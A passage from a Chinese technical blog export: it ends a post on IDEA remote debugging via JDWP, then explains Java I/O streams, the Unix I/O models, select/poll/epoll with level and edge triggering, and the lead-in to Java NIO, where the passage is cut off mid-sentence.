JVMTI/JDWP/JDI。\n如上图，从下往上读架构，大致可以解读为：用于调试的程序使用UI，通过Protocol，调用远端JVM进程。\n举例来说比如你要远程调试tomcat中的应用，需要在catalina.sh中添加以下脚本，并重启：\n1JAVA_OPTS=\u0026#34;$JAVA_OPTS -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005\u0026#34; 以下为各参数的解释：\n-agentlib:jvm参数用于装载本地lib包；其中libname为本地代理库文件名，默认搜索路径为环境变量PATH中的路径，options为传给本地库启动时的参数，多个参数之间用逗号分隔\njwdp :Java Debug Wire Protocol的缩写；\ntransport:用于在调试程序和VM使用的进程之间通讯；\ndt_socket:套接字传输；\nserver=y/n : VM是否需要作为调试服务器执行；\nsuspend=y/n:是否在调试客户端建立连接立后启动VM;\naddress :调试服务器监听的端口号。\n","date":"2020-01-08T02:07:13Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-01-08-idea-yuan-cheng-debug-shi-xian-yuan-li/cover.jpg","permalink":"/p/2020-01-08-idea-yuan-cheng-debug-shi-xian-yuan-li/","title":"IDEA远程debug实现原理"},{"content":"一 Java I/O\n对就那个各种outputStrem,inputStream的看上去很杂乱，但实际上很有规则的东西。借由两张图就能讲清楚。\nIO****流的分类：\n按照流的流向分，可以分为输入流和输出流；\n按照操作单元划分，可以划分为字节流和字符流；\n按照流的角色划分为节点流和处理流。\njava Io流共涉及40多个类，这些类看上去很杂乱，但实际上很有规则，而且彼此之间存在非常紧密的联系， Java Io流的40多个类都是从如下4个抽象类基类中派生出来的。\n上面我们用两个图搞定了I/O,到这里你在本地处理个文件呀，处理个输入、输出呀通过API都没啥问题了。但是，我们发现现在的软件和应用越来越多的使用网络来传输数据，那也就是说我们I/O所要处理的对象可能没变，都是数据嘛，但是数据输入、输出的渠道很大程度上是通过网络，既然是网络，那结合网络就会有一些特点，比如网络的大量连接和高并发。至此我们从单纯的I/O处理变成已经和网络扯上关系了。\n来看看这关系要怎么建立吧。分两块，先说网络，就是说数据要在网络中传输，我们用java的方式怎么编程实现？嗯，想起我们熟悉的java网络编程必备的Socket了。是的，就是它。例子太多就不写了，你可以随便找个Demo回顾一下，大致过程就是利用socket API建立两台主机的连接，然后一边发送数据，一边接收数据（当然也可以双向通信）。再说IO，数据的具体IO操作过程就是通过各种 InputStrem、OutputStrem、Reader Writer把数据读出来或写出去。好了，至此，我们通过Socket+I/O就可以实现数据在网络中的两台主机间的传输，完成了广义上的通信了。\n简单总结一下，由于我们要实现网络间的数据传输或通信，所以需要网络编程接口Socket以及数据的输入、输出处理API I/O来共同完成这一任务。这里我们不扯更多的，像网络底层协议、TCP/IP什么的都是更底层的数据传输理论，已经懂的自不必说，想弄清楚的，建议大家还要顺着问题去查一查，了解了底层原理，更有利于理解建立在其上的应用。\n到这里我们可以通过网络实现网络间的IO处理了，但问题来了，网络自身的特点上文提到了，比如大量连接和高并发。而现在我们的IO是同步阻塞I/O处理（也就是BIO，BlockingI/O），怎么讲? 说白了就是它在读、写操作时只能阻塞着等它完成，CPU中间不能干别的。这要是一两个连接那等就等吧，我们忍了，而网络的特点告诉我们连接会很多，那就不是等一会儿的事儿了，我们忍不了，得解决，于是有了下图的经典BIO编程模型。\n图中为伪代码，这是一个经典的每连接每线程的模型，之所以使用多线程，主要原因在于socket.accept()、socket.read()、socket.write()三个主要函数都是同步阻塞的，当一个连接在处理I/O的时候，系统是阻塞的，如果是单线程的话必然就挂死在那里；但CPU是被释放出来的，开启多线程，就可以让CPU去处理更多的事情。其实这也是所有使用多线程的本质：1. 利用多核。2. 当I/O阻塞系统，但CPU空闲的时候，可以利用多线程使用CPU资源。\n现在的多线程一般都使用线程池，可以让线程的创建和回收成本相对较低。在活动连接数不是特别高（小于单机1000）的情况下，这种模型是比较不错的，可以让每一个连接专注于自己的I/O并且编程模型简单，也不用过多考虑系统的过载、限流等问题。线程池本身就是一个天然的漏斗，可以缓冲一些系统处理不了的连接或请求。\n不过，这个模型最本质的问题在于，严重依赖于线程。但线程是很”贵”的资源，主要表现在：\n线程的创建和销毁成本很高，在Linux这样的操作系统中，线程本质上就是一个进程。创建和销毁都是重量级的系统函数。\n线程本身占用较大内存，像Java的线程栈，一般至少分配512K～1M的空间，如果系统中的线程数过千，恐怕整个JVM的内存都会被吃掉一半。\n线程的切换成本是很高的。操作系统发生线程切换的时候，需要保留线程的上下文，然后执行系统调用。如果线程数过高，可能执行线程切换的时间甚至会大于线程执行的时间，这时候带来的表现往往是系统load偏高、CPU sy使用率特别高（超过20%以上)，导致系统几乎陷入不可用的状态。\n容易造成锯齿状的系统负载。因为系统负载是用活动线程数或CPU核心数，一旦线程数量高但外部网络环境不是很稳定，就很容易造成大量请求的结果同时返回，激活大量阻塞线程从而使系统负载压力过大。\n所以，当面对十万甚至百万级连接的时候，传统的BIO模型是无能为力的。随着移动端应用的兴起和各种网络游戏的盛行，百万级长连接日趋普遍，此时，必然需要一种更高效的I/O处理模型。\n二 IO模型\n我们先不聊NIO，先来聊一聊IO模型，或者说是Unix 网络 IO 模型，这里我要问个问题，你的程序在哪里运行？大多数生产环境是在服务器上运行，而服务器的操作系统绝大多数是Linux的，至于Linux和Unix的关系这里就不赘述了，也就是说我们程序最终是通过Linux操作系统的函数来间接调用的系统资源，那当然会受到操作系统的影响和限制，所以要了解下在操作系统层面IO是怎么处理的。（对UNIX网络编程感兴趣的可以看看 《unix网络编程第三版》） 大家不要被IO模型几个字吓唬住了，所谓模型也就是处理IO的方式方法而已。不同的模型就是不同的方式。 在说IO模型之前，我们先来讲几个基本概念，对这些概念了解的可以直接跳过了。先来说说文件描述符（fd）。 **文件描述符**（file descriptor，简称 fd）在形式上是一个非负整数。实际上，它是一个索引值，指向内核为每一个进程所维护的该进程打开文件的记录表。当程序打开一个现有文件或者创建一个新文件时，内核向进程返回一个文件描述符。在程序设计中，一些涉及底层的程序编写往往会围绕着文件描述符展开。但是文件描述符这一概念往往只适用于UNIX、Linux这样的操作系统。 在 Linux 中，内核将所有的外部设备都当做一个文件来进行操作，而对一个文件的读写操作会调用内核提供的系统命令，返回一个 fd，对一个 socket 的读写也会有相应的描述符，称为 socketfd（socket 描述符），实际上描述符就是一个数字，它指向内核中的一个结构体（文件路径、数据区等一些属性）。如下图所示。 系统为维护文件描述符，建立了三个表\n进程级的文件描述符表、系统级的文件描述符表、文件系统的i-node表 (转到：阮一峰——理解inode)\n实际工作中我们有时会碰到“Too many openfiles”的问题，那很可能就是进程可用的文件描述符过少的原因。然而很多时候，并不是因为进程可用的文件描述符过少，而是因为程序bug，打开了大量的文件连接（web连接也会占用文件描述符）而没有释放。程序申请的资源在用完后及时释放，才是解决“Too many open files”的根本之道。 用户空间与内核空间、内核态与用户态\n这个是经常提到的概念，具体含义可以参考这篇文章用户空间与内核空间，进程上下文与中断上下文【总结】，大概内容如下：\n现在操作系统都是采用虚拟存储器，那么对32位操作系统而言，它的寻址空间（虚拟存储空间）为4G（2的32次方）。操心系统的核心是内核，独立于普通的应用程序，可以访问受保护的内存空间，也有访问底层硬件设备的所有权限。为了保证用户进程不能直接操作内核，保证内核的安全，操心系统将虚拟空间划分为两部分，一部分为内核空间，一部分为用户空间。针对 linux 操作系统而言（以32位操作系统为例） 将最高的 1G 字节（从虚拟地址0xC0000000 到 0xFFFFFFFF），供内核使用，称为内核空间；\n将较低的 3G 字节（从虚拟地址0x00000000 到 0xBFFFFFFF），供各个进程使用，称为用户空间。\n每个进程可以通过系统调用进入内核，因此，Linux 内核由系统内的所有进程共享。于是，从具体进程的角度来看，每个进程可以拥有 4G 字节的虚拟空间。 当一个任务（进程）执行系统调用而陷入内核代码中执行时，称进程处于内核运行态（内核态）。此时处理器处于特权级最高的（0级）内核代码中执行。当进程处于内核态时，执行的内核代码会使用当前进程的内核栈，每个进程都有自己的内核栈； 当进程在执行用户自己的代码时，则称其处于用户运行态（用户态）。此时处理器在特权级最低的（3级）用户代码中运行。当正在执行用户程序而突然被中断程序中断时，此时用户程序也可以象征性地称为处于进程的内核态。因为中断处理程序将使用当前进程的内核栈。 *好了，接下来进入IO模型正题。**根据 UNIX 网络编程对IO 模型的分类，UNIX 提供了以下 5 种 IO 模型。*注意下面讲的跟JAVA没有什么关系哈，不要想串了，下面说的都是操作系统层面的东西，属于基础部分，而java这种“上层建筑”我们后面再看。我们先概览一下，如下图：\n下面一个一个来说，最流行的 IO 操作是阻塞式 **IO(Blocking IO)**. 以 UDP 数据报套接字为例,下图是其阻塞 IO 的调用过程: 上图有个**recvfrom**调用，这是啥？recvfrom是C语言的函数，也就是linux内核函数（操作系统也是用编程语言写的嘛），所以可想而知我们上层不管用什么语言写的应用，最终的调用是会执行操作系统内核的函数的。而recvfrom函数，大致含义是：从（已连接）套接口上接收数据，并捕获数据发送源的地址。假如套接字上没有消息可以读取，除非套接字已被设置为非阻塞模式，否则接收调用会等待消息的到来。 如上图中所示的一样,recvfrom使进程阻塞，它是一个阻塞函数。我们以套接字接口为例来讲解此模型，在进程空间中调用recvfrom,其系统调用直到数据包到达且被复制到应用进程的缓冲区中或者发生错误时才返回，在此期间一直会等待，进程在从调用recvfrom开始到它返回的整段时间内都是被阻塞的，因此被称为阻塞IO模型。如上文所述，阻塞I/O下请求无法立即完成则保持阻塞。阻塞I/O分为如下两个阶段。\n**阶段1：**等待数据就绪。网络 I/O 的情况就是等待远端数据陆续抵达；磁盘I/O的情况就是等待磁盘数据从磁盘上读取到内核态内存中。\n**阶段2：**数据拷贝。出于系统安全，用户态的程序没有权限直接读取内核态内存，因此内核负责把内核态内存中的数据拷贝一份到用户态内存中。\n非阻塞式IO模型，如下图所示:\n非阻塞I/O请求包含如下三个阶段\n阶段1：socket设置为 NONBLOCK（非阻塞）就是告诉内核，当所请求的I/O操作无法完成时，不要将线程睡眠，而是返回一个错误码(EWOULDBLOCK) ，这样请求就不会阻塞。\n阶段2：I/O操作函数将不断的测试数据是否已经准备好，如果没有准备好，继续测试，直到数据准备好为止。整个I/O 请求的过程中，虽然用户线程每次发起I/O请求后可以立即返回，但是为了等到数据，仍需要不断地轮询、重复请求，消耗了大量的 CPU 的资源。\n阶段3：数据准备好了，从内核拷贝到用户空间。\n总结来说，recvfrom 从应用到内核的时，如果该缓冲区没有数据，就会直接返回EWOULDBLOCK 错误，一般都对非阻塞 IO 模型进行轮询检查这个状态，看看内核是不是有数据到来也就是说非阻塞的 recvform 系统调用调用之后，进程并没有被阻塞，内核马上返回给进程。如果数据还没准备好，此时会返回一个 error。进程在返回之后，可以干点别的事情，然后再发起 recvform 系统调用。重复上面的过程，循环往复的进行 recvform 系统调用，这个过程通常被称之为轮询。轮询检查内核数据，直到数据准备好，再拷贝数据到进程，进行数据处理。需要注意，拷贝数据整个过程，进程仍然是属于阻塞的状态。 在 Linux 下，可以通过设置socket 使其变为 non-blocking。非阻塞IO过于消耗CPU时间，将大部分时间用于轮询。 IO 多路复用模型，如下图所示：\n上图中有个select函数，我们先来解释下这个函数:\n1//在linux/posix_types.h头文件中有这样的声明：#define __FD_SETSIZE 1024 2// 返回值：做好准备的文件描述符的个数，超时为0，错误为-1. 3// int maxfdp是一个整数值，是指集合中所有的文件描述符的范围，即所有的文件描述符的最大值加1，不能错。 4 5// fd_set *readfds是指向fd_set结构的指针，是我们关心的，是否可以从这些文件中读取数据的集合， 6//若有大于等于一个可读文件，则select会返回大于0的值。若无，则根据timeout判断。 7 8// timeout==NULL 等待无限长时间即select处于阻塞状态。等待可以被一个信号中断。 9//当有一个描述符做好了准备或者是捕获到了一个信号函数会返回。如果捕获到一个信号，select函数将返回-1，并将变量errno设置为EINTR。 10 11// timeout-\u0026gt;tv_sec=0\u0026amp;\u0026amp;timeout-\u0026gt;tv_usec=0不等待，直接返回。加入到描述符集的描述符都会被测试， 12//并且返回满足要求的描述符的个数，这种方法通过轮询，无阻塞地获得了多个文件描述符的状态。 13 14//timeout-\u0026gt;tv_sec != 0 ||timeout-\u0026gt;tv_usec != 0等待指定的时间，当有描述符符合条件或者是超过时间的话，函数返回。 15//在超时时间即将用完，但是有没有描述符符合条件的话，返回0。对于第一种情况，等待也会被信号中断。 16#include \u0026lt;sys/select.h\u0026gt; 17int select(int maxfdp1, fd_set *readset,fd_set *writeset, fd_set *exceptset,struct timeval *timeout); 18 struct timeval{ 19 long tv_sec;//秒 20 long tv_usec;//微秒 21} 22 23```java 24 25在Linux中，我们可以使用select函数实现I/O端口的复用，传递给 select函数的参数会告诉内核： 26 27• 我们所关心的文件描述符 28 29• 对每个描述符，我们所关心的状态。(我们是要想从一个文件描述符中读或者写，还是关注一个描述符中是否出现异常) 30 31• 我们要等待多长时间。(我们可以等待无限长的时间，等待固定的一段时间，或者根本就不等待) 32 33从 select函数返回后，内核告诉我们以下信息： 34 35• 对我们的要求已经做好准备的描述符的个数 36 37• 对于三种条件哪些描述符已经做好准备.(读，写，异常) 38 39有了这些返回信息，我们可以调用合适的I/O函数(通常是 read 或 write)，并且这些函数不会再阻塞. 40 41 一个文件描述集保存在fd\\_set类型当中，fd\\_set类型变量的每一位代表了一个描述符。我们也可以认为它只是由一个很多二进制位构成的数组 42 43![Image](https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-01-07-java-de-i-o-nio-java-io-mo-xing-unix-wang-luo-io-mo-xing-den/010-83b24283.jpg) 44 45基本原理如下图： 46 47![Image](https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-01-07-java-de-i-o-nio-java-io-mo-xing-unix-wang-luo-io-mo-xing-den/011-1cb1fae8.jpg) 48 49如果你对上面那一坨理论不感冒的话，那我们简明的总结一下，使用select以后最大的优势是用户可以在一个线程内同时处理多个socket的IO请求。用户可以注册多个socket，然后不断地调用select读取被激活的socket，即可达到在同一个线程内同时处理多个IO请求的目的。而在同步阻塞模型中，必须通过多线程的方式才能达到这个目的。 50 51再来看个select流程伪代码： 52 53![Image](https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-01-07-java-de-i-o-nio-java-io-mo-xing-unix-wang-luo-io-mo-xing-den/012-ae67efea.jpg) 54 55对，就是顾名思义不断去select处于可用状态的socket。你可能会说使用select函数进行IO请求和同步阻塞模型没有太大的区别，甚至还多了添加监视socket，以及调用select函数的额外操作，效率更差。但是，使用select以后最大的优势是用户可以在一个线程内同时处理多个socket的IO请求。如果你的网络请求量比较大的情况下，这种模式是不是比阻塞式好啊。 56 57总结一下IO多路复用模型：IO multiplexing（多路复用）就是我们说的select，poll，epoll（关于这三个函数的对比和介绍，后文再讲），有些地方也称这种IO方式为event driven （事件驱动）IO。select/epoll的好处就在于单个process就可以同时处理多个网络连接的IO。它的基本原理就是select，poll，epoll这个function会不断的轮询所负责的所有socket，当某个socket有数据到达了，就通知用户进程。 58 59当用户进程调用了select，那么整个进程会被block，而同时，kernel会“监视”所有select负责的socket，当任何一个socket中的数据准备好了，select就会返回。这个时候用户进程再调用read操作，将数据从kernel拷贝到用户进程。 60 61所以，I/O 多路复用的特点是通过一种机制一个进程能同时等待多个文件描述符，而这些文件描述符（套接字描述符）其中的任意一个进入读就绪状态，select()函数就可以返回。 62 63这个图和blocking IO的图其实并没有太大的不同，事实上，还更差一些。因为这里需要使用两个systemcall (select 和 recvfrom)，而blockingIO只调用了一个system call (recvfrom)。但是，用select的优势在于它可以同时处理多个connection。 64 65所以，如果处理的连接数不是很高的话，使用select/epoll的web server不一定比使用multi-threading + blocking IO的web server性能更好，可能延迟还更大。select/epoll的优势并不是对于单个连接能处理得更快，而是在于能处理更多的连接。） 66 67在IO multiplexing Model中，实际中，对于每一个socket，一般都设置成为non-blocking，但是，如上图所示，整个用户的process其实是一直被block的。只不过process是被select这个函数block，而不是被socket IO给block。 68 69select本质上是通过设置或者检查存放fd标志位的数据结构来进行下一步处理。这样所带来的缺点是： 70 711、单个进程可监视的fd数量被限制，即能监听端口的大小有限。一般来说这个数目和系统内存关系很大，具体数目可以cat/proc/sys/fs/file-max察看。32位机默认是1024个。64位机默认是2048. 72 732、 对socket进行扫描时是线性扫描，即采用轮询的方法，效率较低：当套接字比较多的时候，每次select()都要通过遍历FD\\_SETSIZE个Socket来完成调度,不管哪个Socket是活跃的,都遍历一遍。这会浪费很多CPU时间。如果能给套接字注册某个回调函数，当他们活跃时，自动完成相关操作，那就避免了轮询，这正是epoll与kqueue做的。 74 753、需要维护一个用来存放大量fd的数据结构，这样会使得用户空间和内核空间在传递该结构时复制开销大。 76 77**信号驱动式I/O模型** 78 79 这种模式一般很少用，所以不重点说了，大概说一下，如图所示： 80 81![Image](https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-01-07-java-de-i-o-nio-java-io-mo-xing-unix-wang-luo-io-mo-xing-den/013-87fe09e7.jpg) 82 83 为了使用该I/O模型，需要开启套接字的信号驱动I/O功能，并通过sigaction系统调用安装一个信号处理函数。sigaction函数立即返回，我们的进程继续工作，即进程没有被阻塞。当数据报准备好时，内核会为该进程产生一个SIGIO信号，这样我们可以在信号处理函数中调用recvfrom读取数据报，也可以在主循环中读取数据报。无论如何处理SIGIO信号，这种模型的优势在于等待数据报到达期间不被阻塞。 84 85来看下这种模式的缺点：信号 I/O 在大量 IO 操作时可能会因为信号队列溢出导致没法通知。信号驱动 I/O 尽管对于处理 UDP 套接字来说有用，即这种信号通知意味着到达一个数据报，或者返回一个异步错误。但是，对于 TCP 而言，信号驱动的 I/O 方式近乎无用，因为导致这种通知的条件为数众多，每一个来进行判别会消耗很大资源，与前几种方式相比优势尽失。对这个模式感举的可以再看看这个。 86 87**异步IO模型** 88 89![Image](https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-01-07-java-de-i-o-nio-java-io-mo-xing-unix-wang-luo-io-mo-xing-den/014-a381e0b9.jpg) 90 91调用aio\\_read 函数(当然AIO的API不止这一个，如下图还有很多)， 92 93![Image](https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-01-07-java-de-i-o-nio-java-io-mo-xing-unix-wang-luo-io-mo-xing-den/015-c401ec64.jpg) 94 95 告诉内核描述字，缓冲区指针，缓冲区大小，文件偏移以及通知的方式，然后立即返回。当内核将数据拷贝到缓冲区后，再通知应用程序。所以异步I/O模式下，阶段1和阶段2全部由内核完成，完成不需要用户线程的参与。异步 IO 模型和信号驱动的 IO 模型的主要区别在于: 信号驱动 IO 是由内核通知我们何时可以启动一个 IO 操作, 而异步 IO 模型是由内核通知我们 IO 操作何时完成。 96 97到此我们已经分别介绍完了5种IO模型，来看一下他们的比较： 98 99![Image](https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-01-07-java-de-i-o-nio-java-io-mo-xing-unix-wang-luo-io-mo-xing-den/016-5199ea9d.jpg) 100 101可以看到，前四种I/O模型的主要区别在于第一个阶段，它们的第二个阶段是一样的：在数据从内核复制到应用进程的缓冲区期间，进程会被阻塞于recvfrom系统调用。而异步I/O模型则是整个操作完成内核才通知应用进程。 102 103* * * 104 105**下面引用知乎上有一个比较生动的例子可以说明这几种模型之间的关系。** 106 107老张爱喝茶，废话不说，煮开水。 108 109出场人物：老张，水壶两把（普通水壶，简称水壶；会响的水壶，简称响水壶）。 1101 老张把水壶放到火上，立等水开。（同步阻塞） 111老张觉得自己有点傻 1122 老张把水壶放到火上，去客厅看电视，时不时去厨房看看水开没有。（同步非阻塞） 113老张还是觉得自己有点傻，于是变高端了，买了把会响笛的那种水壶。水开之后，能大声发出嘀~~~~的噪音。 1143 老张把响水壶放到火上，立等水开。（异步阻塞） 115老张觉得这样傻等意义不大 1164 老张把响水壶放到火上，去客厅看电视，水壶响之前不再去看它了，响了再去拿壶。（异步非阻塞） 117老张觉得自己聪明了。 118 119 所谓同步异步，只是对于水壶而言。 120普通水壶，同步；响水壶，异步。 121虽然都能干活，但响水壶可以在自己完工之后，提示老张水开了。这是普通水壶所不能及的。 122同步只能让调用者去轮询自己（情况2中），造成老张效率的低下。 123 124 所谓阻塞非阻塞，仅仅对于老张而言。 125立等的老张，阻塞；看电视的老张，非阻塞。 126情况1和情况3中老张就是阻塞的，媳妇喊他都不知道。虽然3中响水壶是异步的，可对于立等的老张没有太大的意义。所以一般异步是配合非阻塞使用的，这样才能发挥异步的效用。 127 128* * * 129 130**多路复用之select、poll、epoll** 131 132 上文中提到的多路复用模型的图中只画了select，实际上这种模型的实现方式是可以基于不同方法有多个实现的。比如基于select或poll或epoll方法，那么它们有什么不同呢？ 133 134**select** 135 136select函数监视的 fd 分3类，分别是 writefds、readfds、和exceptfds。调用后select 函数会阻塞，直到有fd 就绪（有数据 可读、可写、或者有 except），或者超时（timeout 指定等待时间，如果立即返回设为 null 即可），函数返回。当select函数返回后，可以通过遍历 fdset，来找到就绪的 fd。 137 138select目前几乎在所有的平台上支持，其良好跨平台支持也是它的一个优点。select 的一个最大的缺陷就是单个进程对打开的 fd 是有一定限制的，它由 FD\\_SETSIZE 限制，默认值是1024，如果修改的话，就需要重新编译内核，不过这会带来网络效率的下降。 139 140select和 poll 另一个缺陷就是随着 fd 数目的增加，可能只有很少一部分 socket 是活跃的，但是 select/poll 每次调用时都会线性扫描全部的集合，导致效率呈现线性的下降。 141 142**poll** 143 144poll 本质上和 select 没有区别，它将用户传入的数组拷贝到内核空间，然后查询每个 fd 对应的设备状态，如果设备就绪则在设备等待队列中加入一项并继续遍历，如果遍历完所有 fd 后没有发现就绪设备，则挂起当前进程，直到设备就绪或者主动超时，被唤醒后它又要再次遍历 fd。这个过程经历了多次无谓的遍历。它没有最大连接数的限制，原因是它是基于链表来存储的，但是同样以下几个缺点： 145 1461 大量的 fd 的数组被整体复制于用户态和内核地址空间之间； 147 1482 poll还有一个特点是【水平触发】，如果报告了 fd 后，没有被处理，那么下次 poll 时会再次报告该 fd； 149 1503 fd 增加时，线性扫描导致性能下降。 151 152**epoll** 153 154epoll是在2.6内核中提出的，是之前的select和poll的增强版本。相对于select和poll来说，epoll更加灵活，没有描述符限制。epoll使用一个文件描述符管理多个描述符，将用户关系的文件描述符的事件存放到内核的一个事件表中，这样在用户空间和内核空间的copy只需一次。 155 156epoll 支持水平触发和边缘触发，最大的特点在于边缘触发，它只告诉进程哪些 fd 变为就绪态，并且只会通知一次。还有一个特点是，epoll 使用【事件】的就绪通知方式，通过 epoll\\_ctl 注册 fd，一旦该 fd 就绪，内核就会采用类似 callback 的回调机制来激活该 fd，epoll\\_wait 便可以收到通知。 157 158epoll 对 fd 的操作有两种模式：LT（leveltrigger）和ET（edge trigger）。LT 模式是默认模式，有关水平触发(level-trggered)和边缘触发(edge-triggered)这里多说两句： 159 160**水平触发(level-trggered)** 161 162只要文件描述符关联的读内核缓冲区非空，有数据可以读取，就一直发出可读信号进行通知，当文件描述符关联的内核写缓冲区不满，有空间可以写入，就一直发出可写信号进行通知LT模式支持阻塞和非阻塞两种方式。epoll默认的模式是LT。 163 164**边缘触发(edge-triggered)** 165 166当文件描述符关联的读内核缓冲区由空转化为非空的时候，则发出可读信号进行通知，当文件描述符关联的内核写缓冲区由满转化为不满的时候，则发出可写信号进行通知。两者的区别在哪里呢？水平触发是只要读缓冲区有数据，就会一直触发可读信号，而边缘触发仅仅在空变为非空的时候通知一次， 167 168LT(leveltriggered)是缺省的工作方式，并且同时支持block和no-blocksocket.在这种做法中，内核告诉你一个文件描述符是否就绪了，然后你可以对这个就绪的fd进行IO操作。如果你不作任何操作，内核还是会继续通知你的，所以，这种模式编程出错误可能性要小一点。传统的select/poll都是这种模型的代表。 169 170网上有一个关于水平和边缘触发的例子大家感受一下： 171 172* * * 173 174水平触发 175 176儿子：妈妈，我收到了500元的压岁钱。 177 178妈妈：嗯，省着点花。 179 180儿子：妈妈，我今天花了200元买了个变形金刚。 181 182妈妈：以后不要乱花钱。 183 184儿子：妈妈，我今天买了好多好吃的，还剩下100元。 185 186妈妈：用完了这些钱，我可不会再给你钱了。 187 188儿子：妈妈，那100元我没花，我攒起来了 189 190妈妈：这才是明智的做法！ 191 192儿子：妈妈，那100元我还没花，我还有钱的。 193 194妈妈：嗯，继续保持。 195 196儿子：妈妈，我还有100元钱。 197 198妈妈：… 199 200接下来的情形就是没完没了了：只要儿子一直有钱，他就一直会向他的妈妈汇报。LT模式下，只要内核缓冲区中还有未读数据，就会一直返回描述符的就绪状态，即不断地唤醒应用进程。在上面的例子中，儿子是缓冲区，钱是数据，妈妈则是应用进程了解儿子的压岁钱状况（读操作）。 201 202边缘触发 203 204儿子：妈妈，我收到了500元的压岁钱。 205 206妈妈：嗯，省着点花。 207 208（儿子使用压岁钱购买了变形金刚和零食。） 209 210儿子： 211 212妈妈：儿子你倒是说话啊？压岁钱呢？ 213 214这个就是ET模式，儿子只在第一次收到压岁钱时通知妈妈，接下来儿子怎么把压岁钱花掉并没有通知妈妈。即儿子从没钱变成有钱，需要通知妈妈，接下来钱变少了，则不会再通知妈妈了。在ET模式下， 缓冲区从不可读变成可读，会唤醒应用进程，缓冲区数据变少的情况，则不会再唤醒应用进程。 215 216**三种模型的区别** 217 218![Image](https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-01-07-java-de-i-o-nio-java-io-mo-xing-unix-wang-luo-io-mo-xing-den/017-a0d6f326.jpg) 219 220* * * 221 222**到这里我们总结一下select,poll和epoll:** 223 2241 select的几大缺点： 225 226（1）每次调用select，都需要把fd集合从用户态拷贝到内核态，这个开销在fd很多时会很大 227 228（2）同时每次调用select都需要在内核遍历传递进来的所有fd，这个开销在fd很多时也很大 229 230（3）select支持的文件描述符数量太小了，默认是1024 231 2322 epoll的优点： 233 234 (1) 没有最大并发连接的限制，能打开的FD的上限远大于1024（1G的内存上能监听约10万个端口）； 235 236 (2) 效率提升，不是轮询的方式，不会随着FD数目的增加效率下降。只有活跃可用的FD才会调用callback函数； 237 238即Epoll最大的优点就在于它只管你“活跃”的连接，而跟连接总数无关，因此在实际的网络环境中，Epoll的效率就会远远高于select和poll。 239 240 (3)表面上看epoll的性能最好，但是在连接数少并且连接都十分活跃的情况下，select和poll的性能可能比epoll好，毕竟epoll的通知机制需要很多函数回调。 241 2423 select低效是因为每次它都需要轮询。但低效也是相对的，视情况而定，也可通过良好的设计改善 243 2444 select，poll实现需要自己不断轮询所有fd集合，直到设备就绪，期间可能要睡眠和唤醒多次交替。而epoll其实也需要调用epoll\\_wait不断轮询就绪链表，期间也可能多次睡眠和唤醒交替，但是它是设备就绪时，调用回调函数，把就绪fd放入就绪链表中，并唤醒在epoll\\_wait中进入睡眠的进程。虽然都要睡眠和交替，但是select和poll在“醒着”的时候要遍历整个fd集合，而epoll在“醒着”的时候只要判断一下就绪链表是否为空就行了，这节省了大量的CPU时间。这就是回调机制带来的性能提升。 245 2465 select，poll每次调用都要把fd集合从用户态往内核态拷贝一次，并且要把current往设备等待队列中挂一次，而epoll只要一次拷贝，而且把current往等待队列上挂也只挂一次（在epoll\\_wait的开始，注意这里的等待队列并不是设备等待队列，只是一个epoll内部定义的等待队列）。这也能节省不少的开销。 247 248* * * 249 250**讲到现在我们把基础模型都说完了，终于NIO该登场了。** 251 252**三 NIO** 253 254 在 JDK 推出 Java NIO 之前，基于 Java 的所有 Socket 通信都采用了同步阻塞模式（BIO），这种一对一的通信模型虽然简化了开发的难度，但在性能和可靠性方面却存在这巨大的瓶颈，特别是无法处理高并发的场景，使得 Java 在服务器端应用十分有限。 255 256 正是由于 Java 传统 BIO 的拙劣表现，使得 Java 不得不去开发新版的 IO 模型，最终，JDK1.4 提供了新的 NIO 类库，Java可以支持非阻塞 IO；之后，JDK1.7 正式发布，不但对 NIO 进行了升级，还提供了 AIO 功能。Java NIO 部分，其底层原理就是 UNIX 的 IO 多路复用。 257 258 正如我们文章开篇的那段BIO程序。传统 BIO 中，ServerSocket负责绑定 IP 地址，启动监听端口；Socket 负责发起连接操作，连接成功后，双方通过输入和输出流进行同步阻塞通信。采用 BIO 通信模型的 Server，通常由一个独立的 Acceptor 线程负责监听 Client 端的连接，它接受到 Client 端连接请求后为每个 Client 创建一个新的线程进行处理，处理完之后，通过输出流返回给 Client 端，线程销毁，过程如下图所示。 259 260![Image](https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-01-07-java-de-i-o-nio-java-io-mo-xing-unix-wang-luo-io-mo-xing-den/018-4814ac93.jpg) 261 262**这个模型最大的问题是：** 263 264 缺乏扩展性，不能处理高性能、高并发场景，线程是 JVM 中非常宝贵的资源，当线程数膨胀后，系统的性能就会急剧下降，随着并发访问量的继续增大，系统就会出现线程堆栈溢出、创建新线程失败等问题，导致 Server 不能对外提供服务。 265 266 为了改进这种一对一的连接模型，后来又演进出了一种通过线程池或者消息队列实现 1 个或者多个线程处理所有 Client 请求的模型，由于它底层依然是同步阻塞 IO，所以被称为【**伪异步 IO 模型**】。相比于传统 BIO 后端不断创建新的线程处理 Client 请求，它在后端使用一个线程池来代替，通过线程池可以灵活的调配线程资源，设置线程的最大值，防止由于海量并发接入导致线程资源耗尽，过程如下图所示： 267 268![Image](https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-01-07-java-de-i-o-nio-java-io-mo-xing-unix-wang-luo-io-mo-xing-den/019-3196fc28.jpg) 269 270 看似这个模型解决了 BIO 面对的问题，实际上，由于它是面向数据流的模型，底层依然是同步阻塞模型，在处理一个 socket 输入流，它会一直阻塞下去，除非：有数据可读、可用数据读取完毕、有异常，否则会一直一直阻塞下去。这个模型最大的问题是： 271 272阻塞的时间取决于对应 IO 线程的处理速度和网络 IO 的传输速度，处理效率不可控。 273 274 **那么如何破解上述难题？****NIO将给出答案。** 275 276 Java NIO 是 Java IO 模型中最重要的 IO 模型，也是本文主要讲述的内容，正式由于 NIO 的出现，Java 才能在服务端获得跟 C 和C++ 一样的运行效率，NIO 是 New IO（或者 